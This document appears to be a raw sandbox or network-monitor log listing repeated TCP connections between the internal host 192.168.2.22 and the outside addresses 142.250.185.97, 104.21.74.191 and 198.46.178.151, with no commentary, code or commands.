Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443

Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
